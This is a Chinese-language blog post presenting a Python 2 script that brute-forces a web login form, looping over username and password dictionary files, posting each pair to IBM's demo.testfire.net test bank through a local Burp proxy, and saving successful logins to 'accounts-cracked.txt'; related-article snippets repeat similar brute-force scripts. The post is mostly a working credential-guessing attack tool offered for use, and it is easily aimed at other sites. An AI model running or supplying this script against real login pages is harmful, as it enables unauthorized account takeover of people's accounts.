资讯专栏INFORMATION COLUMN

使用 python 的 urllib2和 urllib模块爆破 form 表单的简易脚本

loostudy / 3204人阅读

摘要:导入用户名字典导入密码的字典找到个账号密码输入有点丑将就用下

python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法

脚本中还增加了 urllib2和 urllib模块如何添加代理的方法

# -*- coding: utf-8 -*-
import urllib2
import urllib
import time


def brute_force(user, password):
    #strip() 方法用于移除字符串头尾指定的字符(默认为空格)
    name = user.strip()
    passwd = password.strip()

    #添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的情况,好定位问题
    
    proxy = urllib2.ProxyHandler({"http":"http://127.0.0.1:8080"})
    opener = urllib2.build_opener(proxy)
    urllib2.install_opener(opener)

    #IBM 公司的一个 测试网站
    url1 = "http://demo.testfire.net/bank/login.aspx"
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
    headers = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}
    values = {"uid": name, "passw": passwd,"btnSubmit":"Login"}
    data = urllib.urlencode(values)#可以把key-value这样的键值对转换成我们想要的格式,返回的是a=1&b=2这样的字符串
    request = urllib2.Request(url1,data,headers)
    response = urllib2.urlopen(request)
    url2 = response.geturl()
    time.sleep(3)


    if url2 != url1:
        #因为urllib2 返回的页面如果存在302重定向,返回的页面是重定向之后的页面,所以不能以302状态码来判断是否登录成功,
        #因为重定向之后的页面访问成功是200,不是302;所以以返回的页面是不是发生变化来判断是否是否登录成功。

        print "---- find user:", name, " with password:",passwd, "-----"
        print url2
        outFile.write(name + ":" + passwd+"
" )
    else:
        print "----- error user:", name, " with password:",passwd, "-----"
        print url2
    response.close()
    return



outFile = open("accounts-cracked.txt", "w")

if __name__ == "__main__":
    #导入用户名字典
    with open("user.dic", "r") as userline:
        y = userline.readlines()
        #导入密码的字典
        with open("pass.dic", "r") as passline:
            b= passline.readlines()
            for u in y:
                for p in b:
                    brute_force(user=u,password=p)
                    
outFile.close()
with open("accounts-cracked.txt","r") as text:
    list = text.readlines()
    sum=len(list)

if sum>0:
    print "找到",sum,"个账号密码"
else:
    print "All thread OK,maybe not "

输入有点丑,将就用下

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/44357.html

相关文章

  • 使用 python urllib2 urllib模块爆破 form 表单简易脚本

    摘要:导入用户名字典导入密码的字典找到个账号密码输入有点丑将就用下 python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法 脚本中还增加了 urllib2和 urllib模块如何添加代理的方法 # -*- coding: utf-8 -*- import urllib2 import urllib import time def brute_f...

    crossea 评论0 收藏0
  • 使用 python request模块爆破 form 表单简易脚本

    摘要:的中模块在表单爆破的使用方法模块中代理的使用方式模块是中比较全的模块简单易用比之前文章中使用的都要好用可以替换为的方法方法用于移除字符串头尾指定的字符默认为空格添加代理本地端口的代理是工具主要是查看脚本发包回包的情况好定位问题如 python 的 http 中 request模块在web 表单爆破的使用方法 request模块中代理的使用方式 request 模块是http 中比较全...

    mgckid 评论0 收藏0
  • 使用 python request模块爆破 form 表单简易脚本

    摘要:的中模块在表单爆破的使用方法模块中代理的使用方式模块是中比较全的模块简单易用比之前文章中使用的都要好用可以替换为的方法方法用于移除字符串头尾指定的字符默认为空格添加代理本地端口的代理是工具主要是查看脚本发包回包的情况好定位问题如 python 的 http 中 request模块在web 表单爆破的使用方法 request模块中代理的使用方式 request 模块是http 中比较全...

    alanoddsoff 评论0 收藏0
  • 使用 python httplib模块爆破 form 表单简易脚本

    摘要:包含了爆破的表单的使用方法中代理的添加方法添加代理代理本地监听一个端口目的是查看发包和回包的情况测试网站为的靶机网站页面返回的页面找到个账号密码 httplib: 包含了 httplib爆破 web 的 form 表单的使用方法 httplib 中代理的添加方法 # -*- coding: utf-8 -*- import urllib import httplib import ...

    alighters 评论0 收藏0
  • 使用 python httplib模块爆破 form 表单简易脚本

    摘要:包含了爆破的表单的使用方法中代理的添加方法添加代理代理本地监听一个端口目的是查看发包和回包的情况测试网站为的靶机网站页面返回的页面找到个账号密码 httplib: 包含了 httplib爆破 web 的 form 表单的使用方法 httplib 中代理的添加方法 # -*- coding: utf-8 -*- import urllib import httplib import ...

    IntMain 评论0 收藏0

发表评论

0条评论

loostudy

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<